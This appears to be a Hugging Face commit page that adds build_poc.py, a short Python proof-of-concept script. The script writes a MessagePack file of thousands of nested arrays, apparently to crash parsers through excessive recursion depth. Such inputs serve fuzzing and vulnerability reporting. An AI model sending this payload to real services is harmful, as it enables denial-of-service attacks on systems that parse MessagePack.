Upload build_poc.py with huggingface_hub
Browse files- build_poc.py +20 -0
build_poc.py
ADDED
|
@@ -0,0 +1,20 @@
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
| 1 |
+
#!/usr/bin/env python3
|
| 2 |
+
from pathlib import Path
|
| 3 |
+
import argparse
|
| 4 |
+
|
| 5 |
+
|
| 6 |
+
def main():
|
| 7 |
+
ap = argparse.ArgumentParser()
|
| 8 |
+
ap.add_argument("--depth", type=int, default=5000)
|
| 9 |
+
ap.add_argument("--out", default="messagepack-nested-5000.msgpack")
|
| 10 |
+
args = ap.parse_args()
|
| 11 |
+
|
| 12 |
+
out = Path(args.out)
|
| 13 |
+
out.write_bytes((b"\x91" * args.depth) + b"\xc0")
|
| 14 |
+
print(f"out={out}")
|
| 15 |
+
print(f"depth={args.depth}")
|
| 16 |
+
print(f"file_size={out.stat().st_size}")
|
| 17 |
+
|
| 18 |
+
|
| 19 |
+
if __name__ == "__main__":
|
| 20 |
+
main()
|